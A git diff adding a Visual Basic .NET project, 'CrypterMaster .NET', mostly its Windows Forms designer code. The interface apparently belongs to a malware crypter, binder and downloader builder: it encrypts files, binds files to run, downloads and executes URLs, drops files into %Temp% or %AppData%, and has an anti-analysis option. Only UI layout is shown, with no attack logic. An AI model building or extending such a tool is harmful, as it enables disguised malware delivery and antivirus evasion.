+ bin\Debug\ + CrypterMaster .NET.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + CrypterMaster .NET.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + windows8.ico + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + GUI.vb + Form + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + Component + + + + + GUI.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + False + Microsoft .NET Framework 4.5.1 %28x86 y x64%29 + true + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + false + + + + + + + + + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/CrypterMaster.vbproj.user b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/CrypterMaster.vbproj.user new file mode 100644 index 0000000..5a871c6 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/CrypterMaster.vbproj.user @@ -0,0 +1,13 @@ + + + + publicar\ + + + + + + es-ES + false + + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.Designer.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.Designer.vb new file mode 100644 index 0000000..c9d18af --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.Designer.vb @@ -0,0 +1,919 @@ + _ +Partial Class GUI + Inherits System.Windows.Forms.Form + + 'Form reemplaza a Dispose para limpiar la lista de componentes. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Requerido por el Diseñador de Windows Forms + Private components As System.ComponentModel.IContainer + + 'NOTA: el Diseñador de Windows Forms necesita el siguiente procedimiento + 'Se puede modificar usando el Diseñador de Windows Forms. + 'No lo modifique con el editor de código. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(GUI)) + Me.dialogCrypter = New System.Windows.Forms.OpenFileDialog() + Me.dialogBinder = New System.Windows.Forms.OpenFileDialog() + Me.dialogIcono = New System.Windows.Forms.OpenFileDialog() + Me.dialogAssembly = New System.Windows.Forms.OpenFileDialog() + Me.dialogCrear = New System.Windows.Forms.SaveFileDialog() + Me.HuraGUI = New CrypterMaster.HuraForm() + Me.btnCrear = New CrypterMaster.HuraButton() + Me.progressCrear = New CrypterMaster.HuraProgressBar() + Me.tabControl = New CrypterMaster.HuraTabControl() + Me.TabCrypter = New System.Windows.Forms.TabPage() + Me.HuraGroupBox1 = New CrypterMaster.HuraGroupBox() + Me.rbtnUnknown_Crypter = New CrypterMaster.HuraRadioButton() + Me.rbtnStairs_Crypter = New CrypterMaster.HuraRadioButton() + Me.Label3 = New System.Windows.Forms.Label() + Me.btnGenerar_Crypter = New CrypterMaster.HuraButton() + Me.txtClave_Crypter = New CrypterMaster.HuraTextBox() + Me.Label2 = New System.Windows.Forms.Label() + Me.btnSeleccionar_Crypter = New CrypterMaster.HuraButton() + Me.txtArchivo_Crypter = New CrypterMaster.HuraTextBox() + Me.Label1 = New System.Windows.Forms.Label() + Me.TabBinder = New System.Windows.Forms.TabPage() + Me.comboDrop_Binder = New CrypterMaster.HuraComboBox() + Me.HuraGroupBox3 = New CrypterMaster.HuraGroupBox() + Me.chkEjecutar_Binder = New CrypterMaster.HuraCheckBox() + Me.btnAgregar_Binder = New CrypterMaster.HuraButton() + Me.btnQuitar_Binder = New CrypterMaster.HuraButton() + Me.lstArchivos_Binder = New System.Windows.Forms.ListView() + Me.colArchivo_Binder = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.colEjecutar_Binder = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.TabDownloader = New System.Windows.Forms.TabPage() + Me.HuraGroupBox4 = New CrypterMaster.HuraGroupBox() + Me.chkEjecutar_Downloader = New CrypterMaster.HuraCheckBox() + Me.btnAgregar_Downloader = New CrypterMaster.HuraButton() + Me.btnQuitar_Downloader = New CrypterMaster.HuraButton() + Me.lstArchivos_Downloader = New System.Windows.Forms.ListView() + Me.colURL_Downloader = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.colExtension_Downloader = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.colEjecutar_Downloader = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.comboDrop_Downloader = New CrypterMaster.HuraComboBox() + Me.tabOpciones = New System.Windows.Forms.TabPage() + Me.Label8 = New System.Windows.Forms.Label() + Me.updwnRetraso = New System.Windows.Forms.NumericUpDown() + Me.btnAssembly = New CrypterMaster.HuraButton() + Me.btnIcono = New CrypterMaster.HuraButton() + Me.chkRetraso = New CrypterMaster.HuraCheckBox() + Me.txtAssembly = New CrypterMaster.HuraTextBox() + Me.txtIcono = New CrypterMaster.HuraTextBox() + Me.chkAssembly = New CrypterMaster.HuraCheckBox() + Me.chkIcono = New CrypterMaster.HuraCheckBox() + Me.chkAntis = New CrypterMaster.HuraCheckBox() + Me.tabAcercaDe = New System.Windows.Forms.TabPage() + Me.PictureBox2 = New System.Windows.Forms.PictureBox() + Me.LinkLabel1 = New System.Windows.Forms.LinkLabel() + Me.lblScan = New System.Windows.Forms.LinkLabel() + Me.Label7 = New System.Windows.Forms.Label() + Me.Label6 = New System.Windows.Forms.Label() + Me.Label5 = New System.Windows.Forms.Label() + Me.Label4 = New System.Windows.Forms.Label() + Me.HuraGroupBox2 = New CrypterMaster.HuraGroupBox() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.HuraControlBox1 = New CrypterMaster.HuraControlBox() + Me.HuraGUI.SuspendLayout() + Me.tabControl.SuspendLayout() + Me.TabCrypter.SuspendLayout() + Me.HuraGroupBox1.SuspendLayout() + Me.TabBinder.SuspendLayout() + Me.HuraGroupBox3.SuspendLayout() + Me.TabDownloader.SuspendLayout() + Me.HuraGroupBox4.SuspendLayout() + Me.tabOpciones.SuspendLayout() + CType(Me.updwnRetraso, System.ComponentModel.ISupportInitialize).BeginInit() + Me.tabAcercaDe.SuspendLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit() + Me.HuraGroupBox2.SuspendLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'HuraGUI + ' + Me.HuraGUI.AccentColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.HuraGUI.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.HuraGUI.ColorScheme = CrypterMaster.HuraForm.ColorSchemes.Dark + Me.HuraGUI.Controls.Add(Me.btnCrear) + Me.HuraGUI.Controls.Add(Me.progressCrear) + Me.HuraGUI.Controls.Add(Me.tabControl) + Me.HuraGUI.Controls.Add(Me.HuraControlBox1) + Me.HuraGUI.Dock = System.Windows.Forms.DockStyle.Fill + Me.HuraGUI.Font = New System.Drawing.Font("Segoe UI", 9.5!) + Me.HuraGUI.ForeColor = System.Drawing.Color.Gray + Me.HuraGUI.Location = New System.Drawing.Point(0, 0) + Me.HuraGUI.Name = "HuraGUI" + Me.HuraGUI.Size = New System.Drawing.Size(685, 231) + Me.HuraGUI.TabIndex = 0 + Me.HuraGUI.Text = "CrypterMaster .NET" + ' + 'btnCrear + ' + Me.btnCrear.BackColor = System.Drawing.Color.Transparent + Me.btnCrear.BaseColour = System.Drawing.Color.White + Me.btnCrear.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnCrear.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnCrear.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnCrear.Location = New System.Drawing.Point(543, 195) + Me.btnCrear.Name = "btnCrear" + Me.btnCrear.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnCrear.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnCrear.Size = New System.Drawing.Size(130, 26) + Me.btnCrear.TabIndex = 5 + Me.btnCrear.Text = "Crear" + ' + 'progressCrear + ' + Me.progressCrear.BaseColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.progressCrear.BorderColour = System.Drawing.Color.FromArgb(CType(CType(190, Byte), Integer), CType(CType(190, Byte), Integer), CType(CType(190, Byte), Integer)) + Me.progressCrear.FontColour = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer)) + Me.progressCrear.Location = New System.Drawing.Point(12, 195) + Me.progressCrear.Maximum = 100 + Me.progressCrear.Name = "progressCrear" + Me.progressCrear.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.progressCrear.SecondColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(250, Byte), Integer)) + Me.progressCrear.Size = New System.Drawing.Size(525, 26) + Me.progressCrear.TabIndex = 4 + Me.progressCrear.Text = "HuraProgressBar1" + Me.progressCrear.TwoColour = True + Me.progressCrear.Value = 0 + ' + 'tabControl + ' + Me.tabControl.Controls.Add(Me.TabCrypter) + Me.tabControl.Controls.Add(Me.TabBinder) + Me.tabControl.Controls.Add(Me.TabDownloader) + Me.tabControl.Controls.Add(Me.tabOpciones) + Me.tabControl.Controls.Add(Me.tabAcercaDe) + Me.tabControl.Font = New System.Drawing.Font("Segoe UI", 9.5!) + Me.tabControl.ItemSize = New System.Drawing.Size(0, 30) + Me.tabControl.Location = New System.Drawing.Point(12, 32) + Me.tabControl.Name = "tabControl" + Me.tabControl.SelectedIndex = 0 + Me.tabControl.Size = New System.Drawing.Size(662, 161) + Me.tabControl.TabIndex = 3 + ' + 'TabCrypter + ' + Me.TabCrypter.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.TabCrypter.Controls.Add(Me.HuraGroupBox1) + Me.TabCrypter.Controls.Add(Me.btnGenerar_Crypter) + Me.TabCrypter.Controls.Add(Me.txtClave_Crypter) + Me.TabCrypter.Controls.Add(Me.Label2) + Me.TabCrypter.Controls.Add(Me.btnSeleccionar_Crypter) + Me.TabCrypter.Controls.Add(Me.txtArchivo_Crypter) + Me.TabCrypter.Controls.Add(Me.Label1) + Me.TabCrypter.Location = New System.Drawing.Point(4, 34) + Me.TabCrypter.Name = "TabCrypter" + Me.TabCrypter.Padding = New System.Windows.Forms.Padding(3) + Me.TabCrypter.Size = New System.Drawing.Size(654, 123) + Me.TabCrypter.TabIndex = 0 + Me.TabCrypter.Text = "Crypter" + ' + 'HuraGroupBox1 + ' + Me.HuraGroupBox1.BackColor = System.Drawing.Color.White + Me.HuraGroupBox1.Controls.Add(Me.rbtnUnknown_Crypter) + Me.HuraGroupBox1.Controls.Add(Me.rbtnStairs_Crypter) + Me.HuraGroupBox1.Controls.Add(Me.Label3) + Me.HuraGroupBox1.Location = New System.Drawing.Point(505, 23) + Me.HuraGroupBox1.Name = "HuraGroupBox1" + Me.HuraGroupBox1.Size = New System.Drawing.Size(143, 85) + Me.HuraGroupBox1.TabIndex = 6 + Me.HuraGroupBox1.Text = "HuraGroupBox1" + ' + 'rbtnUnknown_Crypter + ' + Me.rbtnUnknown_Crypter.BaseColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.rbtnUnknown_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.rbtnUnknown_Crypter.Checked = False + Me.rbtnUnknown_Crypter.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.rbtnUnknown_Crypter.Cursor = System.Windows.Forms.Cursors.Hand + Me.rbtnUnknown_Crypter.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.rbtnUnknown_Crypter.HighlightColour = System.Drawing.Color.FromArgb(CType(CType(240, Byte), Integer), CType(CType(240, Byte), Integer), CType(CType(240, Byte), Integer)) + Me.rbtnUnknown_Crypter.Location = New System.Drawing.Point(6, 56) + Me.rbtnUnknown_Crypter.Name = "rbtnUnknown_Crypter" + Me.rbtnUnknown_Crypter.Size = New System.Drawing.Size(127, 22) + Me.rbtnUnknown_Crypter.TabIndex = 3 + Me.rbtnUnknown_Crypter.Text = "Unknown" + ' + 'rbtnStairs_Crypter + ' + Me.rbtnStairs_Crypter.BaseColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.rbtnStairs_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.rbtnStairs_Crypter.Checked = True + Me.rbtnStairs_Crypter.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.rbtnStairs_Crypter.Cursor = System.Windows.Forms.Cursors.Hand + Me.rbtnStairs_Crypter.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.rbtnStairs_Crypter.HighlightColour = System.Drawing.Color.FromArgb(CType(CType(240, Byte), Integer), CType(CType(240, Byte), Integer), CType(CType(240, Byte), Integer)) + Me.rbtnStairs_Crypter.Location = New System.Drawing.Point(6, 28) + Me.rbtnStairs_Crypter.Name = "rbtnStairs_Crypter" + Me.rbtnStairs_Crypter.Size = New System.Drawing.Size(127, 22) + Me.rbtnStairs_Crypter.TabIndex = 2 + Me.rbtnStairs_Crypter.Text = "Stairs" + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.Label3.Location = New System.Drawing.Point(3, 4) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(130, 17) + Me.Label3.TabIndex = 1 + Me.Label3.Text = "Algoritmo de cifrado" + ' + 'btnGenerar_Crypter + ' + Me.btnGenerar_Crypter.BackColor = System.Drawing.Color.Transparent + Me.btnGenerar_Crypter.BaseColour = System.Drawing.Color.White + Me.btnGenerar_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnGenerar_Crypter.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnGenerar_Crypter.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnGenerar_Crypter.Location = New System.Drawing.Point(428, 79) + Me.btnGenerar_Crypter.Name = "btnGenerar_Crypter" + Me.btnGenerar_Crypter.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnGenerar_Crypter.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnGenerar_Crypter.Size = New System.Drawing.Size(71, 29) + Me.btnGenerar_Crypter.TabIndex = 5 + Me.btnGenerar_Crypter.Text = "Generar" + ' + 'txtClave_Crypter + ' + Me.txtClave_Crypter.BackColor = System.Drawing.Color.Transparent + Me.txtClave_Crypter.BackgroundColour = System.Drawing.Color.White + Me.txtClave_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.txtClave_Crypter.Location = New System.Drawing.Point(6, 79) + Me.txtClave_Crypter.MaxLength = 32767 + Me.txtClave_Crypter.Multiline = False + Me.txtClave_Crypter.Name = "txtClave_Crypter" + Me.txtClave_Crypter.ReadOnly = True + Me.txtClave_Crypter.Size = New System.Drawing.Size(416, 29) + Me.txtClave_Crypter.Style = CrypterMaster.HuraTextBox.Styles.Normal + Me.txtClave_Crypter.TabIndex = 4 + Me.txtClave_Crypter.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.txtClave_Crypter.TextColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.txtClave_Crypter.UseSystemPasswordChar = False + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.Label2.Location = New System.Drawing.Point(3, 59) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(103, 17) + Me.Label2.TabIndex = 3 + Me.Label2.Text = "Clave de cifrado" + ' + 'btnSeleccionar_Crypter + ' + Me.btnSeleccionar_Crypter.BackColor = System.Drawing.Color.Transparent + Me.btnSeleccionar_Crypter.BaseColour = System.Drawing.Color.White + Me.btnSeleccionar_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnSeleccionar_Crypter.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnSeleccionar_Crypter.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnSeleccionar_Crypter.Location = New System.Drawing.Point(428, 23) + Me.btnSeleccionar_Crypter.Name = "btnSeleccionar_Crypter" + Me.btnSeleccionar_Crypter.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnSeleccionar_Crypter.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnSeleccionar_Crypter.Size = New System.Drawing.Size(71, 29) + Me.btnSeleccionar_Crypter.TabIndex = 2 + Me.btnSeleccionar_Crypter.Text = "Seleccionar" + ' + 'txtArchivo_Crypter + ' + Me.txtArchivo_Crypter.BackColor = System.Drawing.Color.Transparent + Me.txtArchivo_Crypter.BackgroundColour = System.Drawing.Color.White + Me.txtArchivo_Crypter.BorderColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.txtArchivo_Crypter.Location = New System.Drawing.Point(6, 23) + Me.txtArchivo_Crypter.MaxLength = 32767 + Me.txtArchivo_Crypter.Multiline = False + Me.txtArchivo_Crypter.Name = "txtArchivo_Crypter" + Me.txtArchivo_Crypter.ReadOnly = True + Me.txtArchivo_Crypter.Size = New System.Drawing.Size(416, 29) + Me.txtArchivo_Crypter.Style = CrypterMaster.HuraTextBox.Styles.Normal + Me.txtArchivo_Crypter.TabIndex = 1 + Me.txtArchivo_Crypter.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.txtArchivo_Crypter.TextColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.txtArchivo_Crypter.UseSystemPasswordChar = False + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.Label1.Location = New System.Drawing.Point(3, 3) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(118, 17) + Me.Label1.TabIndex = 0 + Me.Label1.Text = "Archivo a encriptar" + ' + 'TabBinder + ' + Me.TabBinder.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.TabBinder.Controls.Add(Me.comboDrop_Binder) + Me.TabBinder.Controls.Add(Me.HuraGroupBox3) + Me.TabBinder.Controls.Add(Me.lstArchivos_Binder) + Me.TabBinder.Location = New System.Drawing.Point(4, 34) + Me.TabBinder.Name = "TabBinder" + Me.TabBinder.Padding = New System.Windows.Forms.Padding(3) + Me.TabBinder.Size = New System.Drawing.Size(654, 123) + Me.TabBinder.TabIndex = 1 + Me.TabBinder.Text = "Binder" + ' + 'comboDrop_Binder + ' + Me.comboDrop_Binder.AccentColor = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.comboDrop_Binder.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.comboDrop_Binder.ColorScheme = CrypterMaster.HuraComboBox.ColorSchemes.Dark + Me.comboDrop_Binder.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed + Me.comboDrop_Binder.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList + Me.comboDrop_Binder.Font = New System.Drawing.Font("Segoe UI", 9.5!) + Me.comboDrop_Binder.ForeColor = System.Drawing.Color.White + Me.comboDrop_Binder.FormattingEnabled = True + Me.comboDrop_Binder.Items.AddRange(New Object() {"%App.Path%", "%Temp%", "%AppData%", "%UserProfile%", "%MyDocuments%"}) + Me.comboDrop_Binder.Location = New System.Drawing.Point(427, 92) + Me.comboDrop_Binder.Name = "comboDrop_Binder" + Me.comboDrop_Binder.Size = New System.Drawing.Size(219, 25) + Me.comboDrop_Binder.TabIndex = 4 + ' + 'HuraGroupBox3 + ' + Me.HuraGroupBox3.BackColor = System.Drawing.Color.White + Me.HuraGroupBox3.Controls.Add(Me.chkEjecutar_Binder) + Me.HuraGroupBox3.Controls.Add(Me.btnAgregar_Binder) + Me.HuraGroupBox3.Controls.Add(Me.btnQuitar_Binder) + Me.HuraGroupBox3.Location = New System.Drawing.Point(427, 6) + Me.HuraGroupBox3.Name = "HuraGroupBox3" + Me.HuraGroupBox3.Size = New System.Drawing.Size(220, 80) + Me.HuraGroupBox3.TabIndex = 3 + Me.HuraGroupBox3.Text = "HuraGroupBox3" + ' + 'chkEjecutar_Binder + ' + Me.chkEjecutar_Binder.BaseColour = System.Drawing.Color.White + Me.chkEjecutar_Binder.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.chkEjecutar_Binder.Checked = False + Me.chkEjecutar_Binder.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.chkEjecutar_Binder.Cursor = System.Windows.Forms.Cursors.Hand + Me.chkEjecutar_Binder.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.chkEjecutar_Binder.Location = New System.Drawing.Point(12, 48) + Me.chkEjecutar_Binder.Name = "chkEjecutar_Binder" + Me.chkEjecutar_Binder.Size = New System.Drawing.Size(130, 22) + Me.chkEjecutar_Binder.TabIndex = 3 + Me.chkEjecutar_Binder.Text = "Ejecutar archivo" + Me.chkEjecutar_Binder.Visible = False + ' + 'btnAgregar_Binder + ' + Me.btnAgregar_Binder.BackColor = System.Drawing.Color.Transparent + Me.btnAgregar_Binder.BaseColour = System.Drawing.Color.White + Me.btnAgregar_Binder.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnAgregar_Binder.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnAgregar_Binder.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnAgregar_Binder.Location = New System.Drawing.Point(12, 13) + Me.btnAgregar_Binder.Name = "btnAgregar_Binder" + Me.btnAgregar_Binder.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnAgregar_Binder.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnAgregar_Binder.Size = New System.Drawing.Size(94, 26) + Me.btnAgregar_Binder.TabIndex = 1 + Me.btnAgregar_Binder.Text = "Agregar archivo" + ' + 'btnQuitar_Binder + ' + Me.btnQuitar_Binder.BackColor = System.Drawing.Color.Transparent + Me.btnQuitar_Binder.BaseColour = System.Drawing.Color.White + Me.btnQuitar_Binder.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnQuitar_Binder.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnQuitar_Binder.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnQuitar_Binder.Location = New System.Drawing.Point(116, 13) + Me.btnQuitar_Binder.Name = "btnQuitar_Binder" + Me.btnQuitar_Binder.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnQuitar_Binder.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnQuitar_Binder.Size = New System.Drawing.Size(94, 26) + Me.btnQuitar_Binder.TabIndex = 2 + Me.btnQuitar_Binder.Text = "Quitar archivo" + ' + 'lstArchivos_Binder + ' + Me.lstArchivos_Binder.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.colArchivo_Binder, Me.colEjecutar_Binder}) + Me.lstArchivos_Binder.ForeColor = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.lstArchivos_Binder.FullRowSelect = True + Me.lstArchivos_Binder.GridLines = True + Me.lstArchivos_Binder.Location = New System.Drawing.Point(3, 6) + Me.lstArchivos_Binder.MultiSelect = False + Me.lstArchivos_Binder.Name = "lstArchivos_Binder" + Me.lstArchivos_Binder.Size = New System.Drawing.Size(418, 111) + Me.lstArchivos_Binder.TabIndex = 0 + Me.lstArchivos_Binder.UseCompatibleStateImageBehavior = False + Me.lstArchivos_Binder.View = System.Windows.Forms.View.Details + ' + 'colArchivo_Binder + ' + Me.colArchivo_Binder.Text = "Archivo" + Me.colArchivo_Binder.Width = 338 + ' + 'colEjecutar_Binder + ' + Me.colEjecutar_Binder.Text = "Ejecutar" + Me.colEjecutar_Binder.Width = 58 + ' + 'TabDownloader + ' + Me.TabDownloader.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.TabDownloader.Controls.Add(Me.HuraGroupBox4) + Me.TabDownloader.Controls.Add(Me.lstArchivos_Downloader) + Me.TabDownloader.Controls.Add(Me.comboDrop_Downloader) + Me.TabDownloader.Location = New System.Drawing.Point(4, 34) + Me.TabDownloader.Name = "TabDownloader" + Me.TabDownloader.Size = New System.Drawing.Size(654, 123) + Me.TabDownloader.TabIndex = 2 + Me.TabDownloader.Text = "Downloader" + ' + 'HuraGroupBox4 + ' + Me.HuraGroupBox4.BackColor = System.Drawing.Color.White + Me.HuraGroupBox4.Controls.Add(Me.chkEjecutar_Downloader) + Me.HuraGroupBox4.Controls.Add(Me.btnAgregar_Downloader) + Me.HuraGroupBox4.Controls.Add(Me.btnQuitar_Downloader) + Me.HuraGroupBox4.Location = New System.Drawing.Point(428, 6) + 